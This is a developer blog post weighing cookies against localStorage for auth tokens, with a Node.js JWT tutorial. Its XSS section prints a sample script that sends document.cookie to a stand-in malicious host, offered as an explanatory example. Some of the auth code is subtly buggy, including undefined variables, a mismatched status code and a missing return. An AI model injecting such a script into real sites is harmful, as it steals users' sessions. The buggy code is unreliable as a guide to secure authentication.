Auth in Web - Cookies Vs Storage

Auth in Web - Cookies Vs Storage

·

9 min read

Hello Everyoneđź‘‹,

Today we will be seeing about cookie vs storage and how to setup the auth in the web app.

When it comes to Authentication there is always a confusion choosing between Cookie and Storage to save the token.

Cookies:

Cookies are text files with small piece of data. Cookies are sent automatically added to every request by the browser for the domain it is set. For each cookie they have max size of 4096 bytes.

These can be coupled with server side session to identify the user in the web application where in cookie we would save either session Id and in the server session id will be pointing to user details or the Token which would contain the user information.

Issues with Cookies:

Cookies are vulnerable to CSRF and XSS attacks.

I will not go into much detail about CSRF and XSS attacks because that would itself require a separate blog post.

On a high level CSRF stands for Cross-Site Request Forgery in which the attacker tries to steal the identity of the user.

Lets say you are already authenticated in notsecurebank.com . So if you open any of the malicious websites. He would try to perform actions on behalf of you, like making a post call to notsecurebank.com/transfer/123.

Since cookies are automatically set in the request header by browser this action would become a valid one.

XSS attack mean Cross-Site Scripting in which the attacker tries to inject malicious scripts into your web application and retrieve all information.

Example:

<script>
window.location='maliciouSite.com/cookie='+document.cookie''
</script>

lets just say this blog uses cookie as mechanism and inject this script inside information field in my profile. So whenever a user visits my profile. I can steal his/her info.

With this type of attack they can retrieve cookie and all your secret information.

CSRF attack can be handled by setting the 'SameSite' flag set in cookie configuration Or using CSFR token.

Setting 'SameSite' attribute to 'Strict' will set cookie only if the origin is the one which set the cookie.

Setting 'SameSite' attribute to 'Lax' will set cookie to HTTP get requests even if it is from not same origin.

CSFR token is the process of sending each new random token every Page requests that gets validated in the server.

Here you can find how to implement CSFR tokens for different web frameworks

Setting 'HttpOnly' attribute to cookie will make sure that cookie is not accessible by Javascript or else document.cookie will return all the cookie for that site.

If your api's can be integrated by third party sites then cookies is not an option.

LocalStorage/SessionStorage:

The Storage objects are just key value pairs which are both strings. They are used to store information securely. The information stored in one domain cannot be accessed by another domain. The data stored in strorage can max upto ~5 MB.

It is even specific to protocol of the page. So if something is set by http://mysite.com will not access storage of https://mysite.com.

Only difference between local and session storage is localStorage not removed until we clear it whereas in session storage it is cleared when the page is closed.

Here once the user is logged in we fetch the tokens and save it in the storage.

Issues with Storages: It is vulnerable to XSS attacks and there is no protection against that.

So if any malicious script is injected it can read all info in the storage.

Verdict:

Cookies vs Storage is always a debate between people and there is no clear winner in this.

At this point of time you would have felt like cookies as more secure. But both these are vulnerable to XSS attacks.

In Cookie case even if the script was not able to steal the cookie it can still make http requests inside the script to perform various actions.

A successful XSS attack means its OVER.

Your system has been compromised. I think stealing cookie or token would be the least thing in attacker's mind as he can do anything like injecting a key logger or he could even open an model asking the user to reauthenticate similar to how sites like amazon, github does while accessing secure routes.

If you are thinking if all my user inputs are properly sanitized and there is no need of worrying about XSS attacks.

Yes, But still we use lot of third party and open source libraries inside our application. Even if any one of them is compromised it would affect our application.

Do proper auditing of the libraries you use and follow the security standards and choose whichever works for you between cookies and storage.

Code:

Lets's build a basic auth in web application using node js. Here I will be using token based auth with localStorage.

// app.js
require('dotenv').config();
const express = require('express');
const bodyParser = require('body-parser');
const cors = require('cors');
const mongoose = require('mongoose');

const registerRoutes = require('./app.routes');
const registerMiddlewares = require('./app.middlewares');

const app = express();
const port = process.env.PORT || 4000;

app.use(cors());
app.use(bodyParser.json());

mongoose
  .connect(process.env.MONGO_URL, {
    useNewUrlParser: true,
    useUnifiedTopology: true,
    useCreateIndex: true,
  })
  .then(() => console.log('Mongo db connected!'))
  .catch((err) => console.error(err));

registerMiddlewares(app); // registering all our middlewares
registerRoutes(app); // registering all our routes

//error handler
app.use((err, req, res, next) => {
  console.log(err);
  const { error, code, message } = err;
  res.status(code || 500).json({ message, error });
});

app.listen(port, () => {
  console.log('Server is running at ', port);
});

process
  .on('warning', (reason) => {
    console.warn(reason);
  })
  .on('unhandledRejection', (reason, p) => {
    console.error(reason.toString());
  })
  .on('uncaughtException', (err) => {
    console.error(err.toString());
    process.exit(1);
  });

Nothing fancy here. We are using mongo as database and enabling cors and registering middlewares and routes.

// token.service
const jwt = require('jsonwebtoken');

const redis = require('./redis.service');
const { ACCESS_TOKEN_SECRET, REFRESH_TOKEN_SECRET } = process.env;

const createAccessToken = async (userId) => {
  let accessToken = jwt.sign({ user: { _id: userId } }, ACCESS_TOKEN_SECRET, {
    expiresIn: '60m',
  });
  await redis.set(accessToken, true);
  return accessToken;
};

const createRefreshToken = async (userId) => {
  let refreshToken = jwt.sign({ user: { _id: userId } }, REFRESH_TOKEN_SECRET, {
    expiresIn: '1d',
  });
  await redis.set(refreshToken, true);
  return refreshToken;
};

const isActiveToken = async (token) => {
  return redis.get(token);
};

const validateAccessToken = async (token) => {
  return jwt.verify(token, ACCESS_TOKEN_SECRET);
};

const validateRefreshToken = async (token) => {
  return jwt.verify(token, REFRESH_TOKEN_SECRET);
};

module.exports = {
  createAccessToken,
  createRefreshToken,
  isActiveToken,
  validateAccessToken,
  validateRefreshToken,
};

We are saving tokens in redis to see if its been revoked or not and we have methods to create and validate tokens. Access token is set to expire in 60 minutes and refresh token will expire in 24 hours.

//auth.middleware
const pathToRegexp = require('path-to-regexp');

const tokenService = require('../service/token.service');
const userService = require('../service/user.service');

const whitelistUrls = {
  '/auth/(.*)': '*', // if you want to allow only certain methods ['GET', POST] add it like this and validate
};
const validateToken = async (req, res, next) => {
  // if it is a whitelisted url skipping the token check
  const route = req.originalUrl.split('?')[0];
  for (const [pattern, methods] of Object.entries(whitelistUrls)) {
    const match = pathToRegexp.match(pattern, {
      decode: decodeURIComponent,
    });
    if (match(route) && (methods === '*' || methods.includes(req.req.method))) {
      return next();
    }
  }

  const token = req.get('x-auth-token');
  if (!token) {
    return res
      .status(401)
      .json({ message: 'Access denied, Auth token is missing!' });
  }

  // if token is not present in redis
  if (!(await tokenService.isActiveToken(token))) {
    return res
      .status(401)
      .json({ message: 'Token has been revoked, Please try again' });
  }
  try {
    const payload = await tokenService.validateAccessToken(token);
    // Always making call to db to fetch the latest user info.
    req.user = await userService.getUserInfo(payload.user._id);
    next();
  } catch (err) {
    const errorResponseMap = {
      TokenExpiredError: 'Session timed out, please login again',
      JsonWebTokenError: 'Invalid token!',
    };
    if (errorResponseMap[err.name]) {
      return res.status(401).json({ message: errorResponseMap[err.name] });
    } else {
      console.error(err);
      return res.status(400).json({ error: err });
    }
  }
};

module.exports = validateToken;

In auth middleware we are checking whether its a protected route or not if its a protected route. We are cheking whether the token has been revoked and if not we are validating the token.

I prefer not to save all the user info in token because if some data is changed it will not be reflected in the token. So everytime i like to fetch the userInfo from the database.

These are the main building blocks. The complete source code for server can be found here

Note: The above repo is not a production ready code but it should help you in pointing to the right path.

Client side:

In Client side we can use any http client libraries to add access token in the header and fetch access token using refresh token. I like to use axios because with the help of interceptors these can be easily achieved.

// To add access token to every request
axios.interceptors.request.use(
  (config) => {
    const accessToken = localStorage.getItem("accessToken");
    if (accessToken) {
      config.headers["x-auth-token"] = accessToken;
    }
    return config;
  },
  (error) => {
    Promise.reject(error);
  }
);
// To fetch access token again using refresh token if it is expired.
axios.interceptors.response.use((response) => {
  return response
}, async function (error) {
  const originalRequest = error.config;
  if (error.response.status === 403 && !originalRequest._retry) {
    originalRequest._retry = true;
    const access_token = await refreshAccessToken(); // implement code block to 
make http call to refresh access token            
    originalRequest.headers["x-auth-token"] = accessToken;
    return axiosApiInstance(originalRequest);
  }
  return Promise.reject(error);
});

Please like and share if you find this interesting.

Did you find this article valuable?

Support Kannan by becoming a sponsor. Any amount is appreciated!